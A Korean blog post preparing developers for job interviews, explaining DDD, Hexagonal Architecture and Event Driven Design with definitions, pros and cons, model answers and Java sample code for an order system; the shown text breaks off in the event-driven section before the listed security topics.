면접 준비 3

공보경·2025년 6월 23일

면접 준비

목록 보기
3/5

웹기술 면접준비 가이드 3 - 설계/아키텍처/보안

설계, 아키텍처, 보안 분야 면접 준비를 위한 포괄적인 가이드

목차

  1. DDD (Domain Driven Design) 아키텍처
  2. Hexagonal Architecture (헥사고날 아키텍처)
  3. EDD (Event Driven Design) 아키텍처
  4. MSA (Microservices Architecture) 설계
  5. Kafka의 동작 원리
  6. Redis의 동작 원리
  7. 시큐어코딩
  8. 주요 보안 취약점 (XSS, SQL Injection)

1. DDD (Domain Driven Design) 아키텍처

📖 정의

DDD는 복잡한 소프트웨어의 핵심 복잡성을 해결하기 위한 설계 접근법으로, 도메인 전문가와 개발자가 협력하여 비즈니스 도메인을 중심으로 소프트웨어를 설계하는 방법론입니다.

🏗️ 핵심 구성 요소

구성요소설명역할
Domain비즈니스 핵심 로직비즈니스 규칙과 도메인 지식
Entity고유 식별자를 가진 객체도메인의 핵심 개념 표현
Value Object값으로만 구분되는 객체불변 객체, 속성으로만 식별
Repository도메인 객체 저장소데이터 접근 추상화
Aggregate일관성 있는 단위트랜잭션 경계 정의
Bounded Context도메인 모델의 경계컨텍스트별 모델 분리

💡 DDD 레이어 아키텍처

┌─────────────────────────┐
│    Presentation Layer   │ ← UI, Controllers
├─────────────────────────┤
│    Application Layer    │ ← Use Cases, Services
├─────────────────────────┤
│      Domain Layer       │ ← Entities, Value Objects
├─────────────────────────┤
│   Infrastructure Layer  │ ← Database, External APIs
└─────────────────────────┘

✅ 장점

  • 비즈니스 중심: 도메인 전문가와의 협업을 통한 정확한 비즈니스 모델링
  • 유지보수성: 명확한 도메인 경계로 인한 높은 유지보수성
  • 확장성: Bounded Context를 통한 확장 가능한 구조
  • 테스트 용이성: 도메인 로직의 독립성으로 인한 테스트 용이성

❌ 단점

  • 복잡성: 작은 프로젝트에는 과도한 복잡성
  • 학습 곡선: 도메인 모델링에 대한 깊은 이해 필요
  • 초기 비용: 도메인 전문가와의 지속적인 협업 필요

🎯 면접 답변 템플릿 (30초)

"DDD는 비즈니스 도메인을 중심으로 소프트웨어를 설계하는 방법론입니다. Entity, Value Object, Repository 등의 핵심 구성요소로 도메인을 모델링하고, Bounded Context로 도메인 경계를 명확히 합니다. 복잡한 비즈니스 로직을 가진 대규모 시스템에서 도메인 전문가와 개발자 간의 소통을 개선하고 유지보수성을 높이는데 효과적입니다."

💻 Java 코드 구현 예시

1. Value Object (값 객체)

// Money Value Object - 불변 객체로 구현
public class Money {
    private final BigDecimal amount;
    private final Currency currency;
    
    private Money(BigDecimal amount, Currency currency) {
        if (amount == null || amount.compareTo(BigDecimal.ZERO) < 0) {
            throw new IllegalArgumentException("Amount cannot be negative");
        }
        this.amount = amount;
        this.currency = currency;
    }
    
    public static Money of(BigDecimal amount, Currency currency) {
        return new Money(amount, currency);
    }
    
    public static Money won(long amount) {
        return new Money(BigDecimal.valueOf(amount), Currency.getInstance("KRW"));
    }
    
    public Money add(Money other) {
        if (!this.currency.equals(other.currency)) {
            throw new IllegalArgumentException("Currency mismatch");
        }
        return new Money(this.amount.add(other.amount), this.currency);
    }
    
    public Money subtract(Money other) {
        if (!this.currency.equals(other.currency)) {
            throw new IllegalArgumentException("Currency mismatch");
        }
        return new Money(this.amount.subtract(other.amount), this.currency);
    }
    
    public boolean isLessThan(Money other) {
        return this.amount.compareTo(other.amount) < 0;
    }
    
    @Override
    public boolean equals(Object obj) {
        if (this == obj) return true;
        if (obj == null || getClass() != obj.getClass()) return false;
        Money money = (Money) obj;
        return Objects.equals(amount, money.amount) && 
               Objects.equals(currency, money.currency);
    }
    
    @Override
    public int hashCode() {
        return Objects.hash(amount, currency);
    }
}

2. Entity (엔티티)

// Order Entity - 고유 식별자를 가진 도메인 객체
@Entity
@Table(name = "orders")
public class Order {
    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)
    private Long id;
    
    @Column(name = "order_number", unique = true)
    private String orderNumber;
    
    @Embedded
    private Money totalAmount;
    
    @Enumerated(EnumType.STRING)
    private OrderStatus status;
    
    @ElementCollection
    @CollectionTable(name = "order_items")
    private List<OrderItem> orderItems = new ArrayList<>();
    
    @Column(name = "customer_id")
    private Long customerId;
    
    @Column(name = "order_date")
    private LocalDateTime orderDate;
    
    // 기본 생성자 (JPA 요구사항)
    protected Order() {}
    
    // 팩토리 메서드
    public static Order create(String orderNumber, Long customerId) {
        Order order = new Order();
        order.orderNumber = orderNumber;
        order.customerId = customerId;
        order.status = OrderStatus.PENDING;
        order.orderDate = LocalDateTime.now();
        order.totalAmount = Money.won(0);
        return order;
    }
    
    // 도메인 메서드 - 주문 항목 추가
    public void addOrderItem(String productName, Money price, int quantity) {
        if (status != OrderStatus.PENDING) {
            throw new IllegalStateException("Cannot modify order in status: " + status);
        }
        
        OrderItem item = new OrderItem(productName, price, quantity);
        orderItems.add(item);
        calculateTotalAmount();
    }
    
    // 도메인 메서드 - 주문 확정
    public void confirm() {
        if (orderItems.isEmpty()) {
            throw new IllegalStateException("Cannot confirm order without items");
        }
        if (status != OrderStatus.PENDING) {
            throw new IllegalStateException("Order is already confirmed or cancelled");
        }
        this.status = OrderStatus.CONFIRMED;
    }
    
    // 도메인 메서드 - 주문 취소
    public void cancel() {
        if (status == OrderStatus.SHIPPED || status == OrderStatus.DELIVERED) {
            throw new IllegalStateException("Cannot cancel shipped or delivered order");
        }
        this.status = OrderStatus.CANCELLED;
    }
    
    // 비즈니스 로직 - 총액 계산
    private void calculateTotalAmount() {
        Money total = Money.won(0);
        for (OrderItem item : orderItems) {
            total = total.add(item.getSubtotal());
        }
        this.totalAmount = total;
    }
    
    // Getter 메서드들
    public Long getId() { return id; }
    public String getOrderNumber() { return orderNumber; }
    public Money getTotalAmount() { return totalAmount; }
    public OrderStatus getStatus() { return status; }
    public List<OrderItem> getOrderItems() { return Collections.unmodifiableList(orderItems); }
}

// OrderItem Value Object
@Embeddable
public class OrderItem {
    @Column(name = "product_name")
    private String productName;
    
    @Embedded
    @AttributeOverrides({
        @AttributeOverride(name = "amount", column = @Column(name = "price_amount")),
        @AttributeOverride(name = "currency", column = @Column(name = "price_currency"))
    })
    private Money price;
    
    @Column(name = "quantity")
    private int quantity;
    
    protected OrderItem() {} // JPA 요구사항
    
    public OrderItem(String productName, Money price, int quantity) {
        if (quantity <= 0) {
            throw new IllegalArgumentException("Quantity must be positive");
        }
        this.productName = productName;
        this.price = price;
        this.quantity = quantity;
    }
    
    public Money getSubtotal() {
        return price.multiply(quantity);
    }
    
    // Getter 메서드들
    public String getProductName() { return productName; }
    public Money getPrice() { return price; }
    public int getQuantity() { return quantity; }
}

// Order Status Enum
public enum OrderStatus {
    PENDING("대기"),
    CONFIRMED("확정"),
    SHIPPED("배송중"),
    DELIVERED("배송완료"),
    CANCELLED("취소");
    
    private final String description;
    
    OrderStatus(String description) {
        this.description = description;
    }
    
    public String getDescription() { return description; }
}

3. Repository (저장소)

// Repository Interface - 도메인 레이어에 위치
public interface OrderRepository {
    Order save(Order order);
    Optional<Order> findById(Long id);
    Optional<Order> findByOrderNumber(String orderNumber);
    List<Order> findByCustomerId(Long customerId);
    List<Order> findByStatus(OrderStatus status);
    void delete(Order order);
}

// Repository 구현체 - 인프라스트럭처 레이어에 위치
@Repository
@Transactional
public class JpaOrderRepository implements OrderRepository {
    
    private final OrderJpaRepository jpaRepository;
    
    public JpaOrderRepository(OrderJpaRepository jpaRepository) {
        this.jpaRepository = jpaRepository;
    }
    
    @Override
    public Order save(Order order) {
        return jpaRepository.save(order);
    }
    
    @Override
    public Optional<Order> findById(Long id) {
        return jpaRepository.findById(id);
    }
    
    @Override
    public Optional<Order> findByOrderNumber(String orderNumber) {
        return jpaRepository.findByOrderNumber(orderNumber);
    }
    
    @Override
    public List<Order> findByCustomerId(Long customerId) {
        return jpaRepository.findByCustomerId(customerId);
    }
    
    @Override
    public List<Order> findByStatus(OrderStatus status) {
        return jpaRepository.findByStatus(status);
    }
    
    @Override
    public void delete(Order order) {
        jpaRepository.delete(order);
    }
}

// Spring Data JPA Repository
interface OrderJpaRepository extends JpaRepository<Order, Long> {
    Optional<Order> findByOrderNumber(String orderNumber);
    List<Order> findByCustomerId(Long customerId);
    List<Order> findByStatus(OrderStatus status);
}

4. Domain Service (도메인 서비스)

// 도메인 서비스 - 여러 애그리게이트에 걸친 비즈니스 로직
@Service
@Transactional
public class OrderDomainService {
    
    private final OrderRepository orderRepository;
    private final InventoryService inventoryService;
    
    public OrderDomainService(OrderRepository orderRepository, 
                            InventoryService inventoryService) {
        this.orderRepository = orderRepository;
        this.inventoryService = inventoryService;
    }
    
    // 주문 생성 및 재고 확인
    public Order createOrderWithInventoryCheck(String orderNumber, Long customerId, 
                                             List<OrderItemRequest> items) {
        // 재고 확인
        for (OrderItemRequest item : items) {
            if (!inventoryService.isAvailable(item.getProductId(), item.getQuantity())) {
                throw new InsufficientInventoryException(
                    "Insufficient inventory for product: " + item.getProductId());
            }
        }
        
        // 주문 생성
        Order order = Order.create(orderNumber, customerId);
        
        // 주문 항목 추가
        for (OrderItemRequest item : items) {
            Money price = inventoryService.getPrice(item.getProductId());
            order.addOrderItem(item.getProductName(), price, item.getQuantity());
        }
        
        // 재고 예약
        for (OrderItemRequest item : items) {
            inventoryService.reserve(item.getProductId(), item.getQuantity());
        }
        
        return orderRepository.save(order);
    }
    
    // 주문 확정 및 재고 차감
    public void confirmOrderWithInventoryDeduction(Long orderId) {
        Order order = orderRepository.findById(orderId)
            .orElseThrow(() -> new OrderNotFoundException("Order not found: " + orderId));
        
        // 주문 확정
        order.confirm();
        
        // 재고에서 실제 차감
        for (OrderItem item : order.getOrderItems()) {
            inventoryService.deduct(item.getProductName(), item.getQuantity());
        }
        
        orderRepository.save(order);
    }
}

// 재고 서비스 인터페이스 (다른 도메인)
public interface InventoryService {
    boolean isAvailable(String productId, int quantity);
    Money getPrice(String productId);
    void reserve(String productId, int quantity);
    void deduct(String productId, int quantity);
}

5. Application Service (응용 서비스)

// 응용 서비스 - 도메인 서비스를 조합하여 유스케이스 구현
@Service
@Transactional
public class OrderApplicationService {
    
    private final OrderDomainService orderDomainService;
    private final OrderRepository orderRepository;
    private final EventPublisher eventPublisher;
    
    public OrderApplicationService(OrderDomainService orderDomainService,
                                 OrderRepository orderRepository,
                                 EventPublisher eventPublisher) {
        this.orderDomainService = orderDomainService;
        this.orderRepository = orderRepository;
        this.eventPublisher = eventPublisher;
    }
    
    // 주문 생성 유스케이스
    public OrderResponse createOrder(CreateOrderRequest request) {
        try {
            Order order = orderDomainService.createOrderWithInventoryCheck(
                generateOrderNumber(),
                request.getCustomerId(),
                request.getItems()
            );
            
            // 도메인 이벤트 발행
            eventPublisher.publish(new OrderCreatedEvent(order.getId(), order.getCustomerId()));
            
            return OrderResponse.from(order);
            
        } catch (InsufficientInventoryException e) {
            throw new OrderCreationFailedException("Failed to create order: " + e.getMessage());
        }
    }
    
    // 주문 확정 유스케이스
    public void confirmOrder(Long orderId) {
        orderDomainService.confirmOrderWithInventoryDeduction(orderId);
        
        // 도메인 이벤트 발행
        eventPublisher.publish(new OrderConfirmedEvent(orderId));
    }
    
    // 주문 조회 유스케이스
    @Transactional(readOnly = true)
    public OrderResponse getOrder(Long orderId) {
        Order order = orderRepository.findById(orderId)
            .orElseThrow(() -> new OrderNotFoundException("Order not found: " + orderId));
        
        return OrderResponse.from(order);
    }
    
    private String generateOrderNumber() {
        return "ORD-" + System.currentTimeMillis();
    }
}

// DTO 클래스들
public class CreateOrderRequest {
    private Long customerId;
    private List<OrderItemRequest> items;
    
    // constructors, getters, setters
}

public class OrderItemRequest {
    private String productId;
    private String productName;
    private int quantity;
    
    // constructors, getters, setters
}

public class OrderResponse {
    private Long id;
    private String orderNumber;
    private Money totalAmount;
    private OrderStatus status;
    private List<OrderItemResponse> items;
    
    public static OrderResponse from(Order order) {
        // Order 엔티티를 OrderResponse DTO로 변환
        OrderResponse response = new OrderResponse();
        response.id = order.getId();
        response.orderNumber = order.getOrderNumber();
        response.totalAmount = order.getTotalAmount();
        response.status = order.getStatus();
        response.items = order.getOrderItems().stream()
            .map(OrderItemResponse::from)
            .collect(Collectors.toList());
        return response;
    }
    
    // getters, setters
}

🔗 코드 예시 출처 및 참고 자료

📚 참고 링크


2. Hexagonal Architecture (헥사고날 아키텍처)

📖 정의

헥사고날 아키텍처(Ports and Adapters)는 애플리케이션을 외부 의존성으로부터 격리시켜 테스트 가능하고 유연한 구조를 만드는 아키텍처 패턴입니다.

🏗️ 핵심 구성 요소

구성요소설명역할
Core (Domain)비즈니스 로직순수한 비즈니스 규칙
Ports인터페이스 정의외부와의 통신 규약
AdaptersPort 구현체외부 시스템과의 실제 연결
Primary Adapter애플리케이션 구동UI, REST API, CLI
Secondary Adapter애플리케이션이 사용Database, Message Queue

💡 헥사고날 아키텍처 구조

        Primary Adapters
           (Driving)
              ↓
    ┌─────────────────────┐
    │                     │
    │   Application Core  │ ← Pure Business Logic
    │    (Domain Model)   │
    │                     │
    └─────────────────────┘
              ↓
        Secondary Adapters
            (Driven)

🔄 동작 흐름

  1. Primary Adapter가 요청을 받음 (웹 컨트롤러, CLI 등)
  2. Port를 통해 Core에 요청 전달
  3. Core에서 비즈니스 로직 처리
  4. 필요시 Secondary Port를 통해 외부 리소스 접근
  5. Secondary Adapter가 실제 외부 시스템과 통신

✅ 장점

  • 테스트 용이성: Core 로직을 독립적으로 테스트 가능
  • 유연성: 외부 의존성 교체 용이
  • 관심사 분리: 비즈니스 로직과 기술적 구현의 명확한 분리
  • 역방향 의존성: 외부가 내부에 의존하지 않음

❌ 단점

  • 초기 복잡성: 간단한 애플리케이션에는 과도한 구조
  • 인터페이스 오버헤드: 많은 인터페이스와 구현체 필요
  • 학습 비용: 아키텍처 이해를 위한 시간 투자 필요

🎯 면접 답변 템플릿 (30초)

"헥사고날 아키텍처는 애플리케이션 코어를 외부 의존성으로부터 격리시키는 패턴입니다. Ports와 Adapters를 통해 외부와의 통신을 추상화하여, 비즈니스 로직을 순수하게 유지합니다. 이를 통해 테스트 용이성과 유연성을 확보하며, 외부 시스템 변경이 코어 로직에 미치는 영향을 최소화할 수 있습니다."

💻 Java 코드 구현 예시

1. Domain Layer (도메인 계층)

// Order 도메인 엔티티
public class Order {
    private final OrderId id;
    private final CustomerId customerId;
    private final List<OrderItem> items;
    private OrderStatus status;
    private LocalDateTime createdAt;
    
    public Order(OrderId id, CustomerId customerId, List<OrderItem> items) {
        this.id = id;
        this.customerId = customerId;
        this.items = new ArrayList<>(items);
        this.status = OrderStatus.PENDING;
        this.createdAt = LocalDateTime.now();
    }
    
    // 도메인 비즈니스 로직
    public void confirm() {
        if (this.status != OrderStatus.PENDING) {
            throw new IllegalStateException("Only pending orders can be confirmed");
        }
        this.status = OrderStatus.CONFIRMED;
    }
    
    public Money calculateTotal() {
        return items.stream()
            .map(OrderItem::getPrice)
            .reduce(Money.ZERO, Money::add);
    }
    
    // Getters
    public OrderId getId() { return id; }
    public CustomerId getCustomerId() { return customerId; }
    public List<OrderItem> getItems() { return Collections.unmodifiableList(items); }
    public OrderStatus getStatus() { return status; }
}

// Value Objects
public class OrderId {
    private final String value;
    
    public OrderId(String value) {
        if (value == null || value.trim().isEmpty()) {
            throw new IllegalArgumentException("Order ID cannot be null or empty");
        }
        this.value = value;
    }
    
    public String getValue() { return value; }
    
    @Override
    public boolean equals(Object obj) {
        if (this == obj) return true;
        if (obj == null || getClass() != obj.getClass()) return false;
        OrderId orderId = (OrderId) obj;
        return Objects.equals(value, orderId.value);
    }
    
    @Override
    public int hashCode() { return Objects.hash(value); }
}

public class Money {
    public static final Money ZERO = new Money(BigDecimal.ZERO);
    private final BigDecimal amount;
    
    public Money(BigDecimal amount) {
        this.amount = amount;
    }
    
    public Money add(Money other) {
        return new Money(this.amount.add(other.amount));
    }
    
    public BigDecimal getAmount() { return amount; }
}

public enum OrderStatus {
    PENDING, CONFIRMED, SHIPPED, DELIVERED, CANCELLED
}

2. Primary Ports (입력 포트)

// 주문 관리 유스케이스 인터페이스
public interface OrderService {
    OrderId createOrder(CreateOrderCommand command);
    void confirmOrder(OrderId orderId);
    Order getOrder(OrderId orderId);
    List<Order> getOrdersByCustomer(CustomerId customerId);
}

// 명령 객체
public class CreateOrderCommand {
    private final CustomerId customerId;
    private final List<OrderItemData> items;
    
    public CreateOrderCommand(CustomerId customerId, List<OrderItemData> items) {
        this.customerId = customerId;
        this.items = items;
    }
    
    public CustomerId getCustomerId() { return customerId; }
    public List<OrderItemData> getItems() { return items; }
}

3. Secondary Ports (출력 포트)

// 주문 저장소 인터페이스
public interface OrderRepository {
    void save(Order order);
    Optional<Order> findById(OrderId orderId);
    List<Order> findByCustomerId(CustomerId customerId);
    void delete(OrderId orderId);
}

// 재고 확인 인터페이스
public interface InventoryService {
    boolean isProductAvailable(ProductId productId, int quantity);
    void reserveProducts(List<ProductReservation> reservations);
}

// 알림 서비스 인터페이스
public interface NotificationService {
    void sendOrderConfirmation(Order order);
    void sendShippingNotification(Order order);
}

4. Application Service (비즈니스 로직 구현)

@Service
@Transactional
public class OrderApplicationService implements OrderService {
    
    private final OrderRepository orderRepository;
    private final InventoryService inventoryService;
    private final NotificationService notificationService;
    
    public OrderApplicationService(OrderRepository orderRepository,
                                 InventoryService inventoryService,
                                 NotificationService notificationService) {
        this.orderRepository = orderRepository;
        this.inventoryService = inventoryService;
        this.notificationService = notificationService;
    }
    
    @Override
    public OrderId createOrder(CreateOrderCommand command) {
        // 1. 재고 확인
        List<ProductReservation> reservations = command.getItems().stream()
            .map(item -> new ProductReservation(item.getProductId(), item.getQuantity()))
            .collect(Collectors.toList());
            
        for (ProductReservation reservation : reservations) {
            if (!inventoryService.isProductAvailable(
                    reservation.getProductId(), 
                    reservation.getQuantity())) {
                throw new InsufficientInventoryException(
                    "Product not available: " + reservation.getProductId());
            }
        }
        
        // 2. 주문 생성
        OrderId orderId = new OrderId(UUID.randomUUID().toString());
        List<OrderItem> orderItems = command.getItems().stream()
            .map(item -> new OrderItem(
                item.getProductId(),
                item.getQuantity(),
                item.getPrice()
            ))
            .collect(Collectors.toList());
            
        Order order = new Order(orderId, command.getCustomerId(), orderItems);
        
        // 3. 재고 예약
        inventoryService.reserveProducts(reservations);
        
        // 4. 주문 저장
        orderRepository.save(order);
        
        return orderId;
    }
    
    @Override
    public void confirmOrder(OrderId orderId) {
        Order order = orderRepository.findById(orderId)
            .orElseThrow(() -> new OrderNotFoundException("Order not found: " + orderId));
            
        order.confirm();
        orderRepository.save(order);
        
        // 알림 발송
        notificationService.sendOrderConfirmation(order);
    }
    
    @Override
    public Order getOrder(OrderId orderId) {
        return orderRepository.findById(orderId)
            .orElseThrow(() -> new OrderNotFoundException("Order not found: " + orderId));
    }
    
    @Override
    public List<Order> getOrdersByCustomer(CustomerId customerId) {
        return orderRepository.findByCustomerId(customerId);
    }
}

5. Primary Adapters (입력 어댑터)

// REST API Controller
@RestController
@RequestMapping("/api/orders")
@Validated
public class OrderController {
    
    private final OrderService orderService;
    
    public OrderController(OrderService orderService) {
        this.orderService = orderService;
    }
    
    @PostMapping
    public ResponseEntity<OrderResponse> createOrder(@Valid @RequestBody CreateOrderRequest request) {
        CreateOrderCommand command = new CreateOrderCommand(
            new CustomerId(request.getCustomerId()),
            request.getItems().stream()
                .map(item -> new OrderItemData(
                    new ProductId(item.getProductId()),
                    item.getQuantity(),
                    new Money(item.getPrice())
                ))
                .collect(Collectors.toList())
        );
        
        OrderId orderId = orderService.createOrder(command);
        
        return ResponseEntity.status(HttpStatus.CREATED)
            .body(new OrderResponse(orderId.getValue(), "Order created successfully"));
    }
    
    @PostMapping("/{orderId}/confirm")
    public ResponseEntity<Void> confirmOrder(@PathVariable String orderId) {
        orderService.confirmOrder(new OrderId(orderId));
        return ResponseEntity.ok().build();
    }
    
    @GetMapping("/{orderId}")
    public ResponseEntity<OrderDetailResponse> getOrder(@PathVariable String orderId) {
        Order order = orderService.getOrder(new OrderId(orderId));
        return ResponseEntity.ok(OrderDetailResponse.from(order));
    }
    
    @GetMapping
    public ResponseEntity<List<OrderSummaryResponse>> getCustomerOrders(@RequestParam String customerId) {
        List<Order> orders = orderService.getOrdersByCustomer(new CustomerId(customerId));
        List<OrderSummaryResponse> response = orders.stream()
            .map(OrderSummaryResponse::from)
            .collect(Collectors.toList());
        
        return ResponseEntity.ok(response);
    }
}

6. Secondary Adapters (출력 어댑터)

// JPA Repository Adapter
@Repository
@Transactional
public class JpaOrderRepository implements OrderRepository {
    
    private final OrderJpaRepository jpaRepository;
    private final OrderMapper orderMapper;
    
    public JpaOrderRepository(OrderJpaRepository jpaRepository, OrderMapper orderMapper) {
        this.jpaRepository = jpaRepository;
        this.orderMapper = orderMapper;
    }
    
    @Override
    public void save(Order order) {
        OrderEntity entity = orderMapper.toEntity(order);
        jpaRepository.save(entity);
    }
    
    @Override
    public Optional<Order> findById(OrderId orderId) {
        return jpaRepository.findById(orderId.getValue())
            .map(orderMapper::toDomain);
    }
    
    @Override
    public List<Order> findByCustomerId(CustomerId customerId) {
        return jpaRepository.findByCustomerId(customerId.getValue())
            .stream()
            .map(orderMapper::toDomain)
            .collect(Collectors.toList());
    }
    
    @Override
    public void delete(OrderId orderId) {
        jpaRepository.deleteById(orderId.getValue());
    }
}

// HTTP Inventory Service Adapter
@Service
public class HttpInventoryServiceAdapter implements InventoryService {
    
    private final WebClient webClient;
    private final String inventoryServiceUrl;
    
    public HttpInventoryServiceAdapter(WebClient.Builder webClientBuilder,
                                     @Value("${inventory.service.url}") String inventoryServiceUrl) {
        this.webClient = webClientBuilder.build();
        this.inventoryServiceUrl = inventoryServiceUrl;
    }
    
    @Override
    public boolean isProductAvailable(ProductId productId, int quantity) {
        try {
            InventoryCheckResponse response = webClient
                .get()
                .uri(inventoryServiceUrl + "/products/{productId}/availability", productId.getValue())
                .retrieve()
                .bodyToMono(InventoryCheckResponse.class)
                .block(Duration.ofSeconds(5));
            
            return response != null && response.getAvailableQuantity() >= quantity;
        } catch (Exception e) {
            // 외부 서비스 장애 시 기본 처리
            throw new InventoryServiceException("Failed to check inventory: " + e.getMessage(), e);
        }
    }
    
    @Override
    public void reserveProducts(List<ProductReservation> reservations) {
        ReserveProductsRequest request = new ReserveProductsRequest(reservations);
        
        try {
            webClient
                .post()
                .uri(inventoryServiceUrl + "/reservations")
                .bodyValue(request)
                .retrieve()
                .bodyToMono(Void.class)
                .block(Duration.ofSeconds(10));
        } catch (Exception e) {
            throw new InventoryServiceException("Failed to reserve products: " + e.getMessage(), e);
        }
    }
}

// Email Notification Adapter
@Service
public class EmailNotificationAdapter implements NotificationService {
    
    private final JavaMailSender mailSender;
    private final TemplateEngine templateEngine;
    
    public EmailNotificationAdapter(JavaMailSender mailSender, TemplateEngine templateEngine) {
        this.mailSender = mailSender;
        this.templateEngine = templateEngine;
    }
    
    @Override
    @Async
    public void sendOrderConfirmation(Order order) {
        try {
            MimeMessage message = mailSender.createMimeMessage();
            MimeMessageHelper helper = new MimeMessageHelper(message, true);
            
            Context context = new Context();
            context.setVariable("order", order);
            String htmlContent = templateEngine.process("order-confirmation", context);
            
            helper.setTo(getCustomerEmail(order.getCustomerId()));
            helper.setSubject("주문 확인 - " + order.getId().getValue());
            helper.setText(htmlContent, true);
            
            mailSender.send(message);
        } catch (Exception e) {
            // 로깅하고 실패를 무시 (알림은 핵심 기능이 아니므로)
            log.error("Failed to send order confirmation email", e);
        }
    }
    
    @Override
    @Async
    public void sendShippingNotification(Order order) {
        // 배송 알림 구현
    }
    
    private String getCustomerEmail(CustomerId customerId) {
        // 고객 이메일 조회 로직
        return "customer@example.com";
    }
}

7. Configuration (설정)

@Configuration
@EnableJpaRepositories
public class OrderConfiguration {
    
    @Bean
    public OrderService orderService(OrderRepository orderRepository,
                                   InventoryService inventoryService,
                                   NotificationService notificationService) {
        return new OrderApplicationService(orderRepository, inventoryService, notificationService);
    }
    
    @Bean
    public OrderRepository orderRepository(OrderJpaRepository jpaRepository, OrderMapper orderMapper) {
        return new JpaOrderRepository(jpaRepository, orderMapper);
    }
    
    @Bean
    public InventoryService inventoryService(WebClient.Builder webClientBuilder,
                                           @Value("${inventory.service.url}") String inventoryServiceUrl) {
        return new HttpInventoryServiceAdapter(webClientBuilder, inventoryServiceUrl);
    }
    
    @Bean
    public NotificationService notificationService(JavaMailSender mailSender, TemplateEngine templateEngine) {
        return new EmailNotificationAdapter(mailSender, templateEngine);
    }
    
    @Bean
    public WebClient.Builder webClientBuilder() {
        return WebClient.builder()
            .codecs(configurer -> configurer.defaultCodecs().maxInMemorySize(1024 * 1024))
            .build()
            .mutate();
    }
}

8. 테스트 예시

// 단위 테스트 - Core 로직만 테스트
@ExtendWith(MockitoExtension.class)
class OrderApplicationServiceTest {
    
    @Mock
    private OrderRepository orderRepository;
    
    @Mock
    private InventoryService inventoryService;
    
    @Mock
    private NotificationService notificationService;
    
    @InjectMocks
    private OrderApplicationService orderService;
    
    @Test
    void should_create_order_when_inventory_is_available() {
        // Given
        CustomerId customerId = new CustomerId("customer-123");
        List<OrderItemData> items = Arrays.asList(
            new OrderItemData(new ProductId("product-1"), 2, new Money(BigDecimal.valueOf(100)))
        );
        CreateOrderCommand command = new CreateOrderCommand(customerId, items);
        
        when(inventoryService.isProductAvailable(any(ProductId.class), anyInt())).thenReturn(true);
        
        // When
        OrderId result = orderService.createOrder(command);
        
        // Then
        assertThat(result).isNotNull();
        verify(inventoryService).reserveProducts(any());
        verify(orderRepository).save(any(Order.class));
    }
    
    @Test
    void should_throw_exception_when_inventory_is_insufficient() {
        // Given
        CustomerId customerId = new CustomerId("customer-123");
        List<OrderItemData> items = Arrays.asList(
            new OrderItemData(new ProductId("product-1"), 10, new Money(BigDecimal.valueOf(100)))
        );
        CreateOrderCommand command = new CreateOrderCommand(customerId, items);
        
        when(inventoryService.isProductAvailable(any(ProductId.class), anyInt())).thenReturn(false);
        
        // When & Then
        assertThatThrownBy(() -> orderService.createOrder(command))
            .isInstanceOf(InsufficientInventoryException.class);
        
        verify(inventoryService, never()).reserveProducts(any());
        verify(orderRepository, never()).save(any());
    }
}

// 통합 테스트 - 실제 어댑터 포함
@SpringBootTest
@Testcontainers
class OrderIntegrationTest {
    
    @Container
    static PostgreSQLContainer<?> postgres = new PostgreSQLContainer<>("postgres:13")
            .withDatabaseName("testdb")
            .withUsername("test")
            .withPassword("test");
    
    @Autowired
    private OrderService orderService;
    
    @MockBean
    private InventoryService inventoryService;
    
    @MockBean
    private NotificationService notificationService;
    
    @Test
    void should_create_and_retrieve_order() {
        // Given
        when(inventoryService.isProductAvailable(any(), anyInt())).thenReturn(true);
        
        CustomerId customerId = new CustomerId("customer-123");
        List<OrderItemData> items = Arrays.asList(
            new OrderItemData(new ProductId("product-1"), 1, new Money(BigDecimal.valueOf(50)))
        );
        CreateOrderCommand command = new CreateOrderCommand(customerId, items);
        
        // When
        OrderId orderId = orderService.createOrder(command);
        Order retrievedOrder = orderService.getOrder(orderId);
        
        // Then
        assertThat(retrievedOrder.getId()).isEqualTo(orderId);
        assertThat(retrievedOrder.getCustomerId()).isEqualTo(customerId);
        assertThat(retrievedOrder.getItems()).hasSize(1);
        assertThat(retrievedOrder.getStatus()).isEqualTo(OrderStatus.PENDING);
    }
}

🔗 Hexagonal Architecture Java 출처 및 참고 자료


3. EDD (Event Driven Design) 아키텍처

📖 정의

Event Driven Design은 이벤트의 생성, 감지, 소비를 중심으로 하는 아키텍처 패턴으로, 시스템 간의 느슨한 결합을 통해 확장성과 유연성을 제공하는 설계 방법입니다.

🏗️ 핵심 구성 요소

구성요소설명역할
Event시스템에서 발생한 사실상태 변화나 중요한 사건
Event Producer이벤트 생성자이벤트를 발생시키는 컴포넌트
Event Consumer이벤트 소비자이벤트를 처리하는 컴포넌트
Event Bus/Broker이벤트 중개자이벤트 라우팅 및 전달
Event Store이벤트 저장소이벤트 히스토리 관리

💡 EDD 아키텍처 패턴

Event Sourcing

Command → Aggregate → Events → Event Store
                         ↓
                   Read Models (Projections)

CQRS (Command Query Responsibility Segregation)

Commands → Write Model → Events
                           ↓
                     Read Models ← Queries

🔄 이벤트 처리 방식

방식설명장점단점
동기 처리즉시 이벤트 처리일관성 보장성능 영향
비동기 처리큐를 통한 지연 처리높은 성능복잡한 에러 처리
배치 처리일괄 이벤트 처리효율적 자원 사용실시간성 부족

✅ 장점

  • 확장성: 이벤트 기반의 수평 확장 가능
  • 느슨한 결합: 컴포넌트 간 독립성 확보
  • 복원력: 이벤트 재생을 통한 시스템 복구
  • 감사 가능성: 모든 변경 사항의 추적 가능

❌ 단점

  • 복잡성: 이벤트 순서와 중복 처리 복잡
  • 일관성: Eventual Consistency로 인한 복잡성
  • 디버깅 어려움: 분산된 이벤트 플로우 추적 어려움
  • 데이터 중복: 여러 읽기 모델로 인한 저장 공간 증가

📝 실제 구현 예시

// Event Definition
class OrderCreatedEvent {
  constructor(orderId, customerId, amount) {
    this.type = 'OrderCreated';
    this.orderId = orderId;
    this.customerId = customerId;
    this.amount = amount;
    this.timestamp = new Date();
  }
}

// Event Producer
class OrderService {
  createOrder(orderData) {
    const order = new Order(orderData);
    const event = new OrderCreatedEvent(
      order.id, 
      order.customerId, 
      order.amount
    );
    
    eventBus.publish(event);
    return order;
  }
}

// Event Consumer
class InventoryService {
  handleOrderCreated(event) {
    this.reserveItems(event.orderId);
  }
}

// Event Bus 등록
eventBus.subscribe('OrderCreated', inventoryService.handleOrderCreated);

🎯 면접 답변 템플릿 (30초)

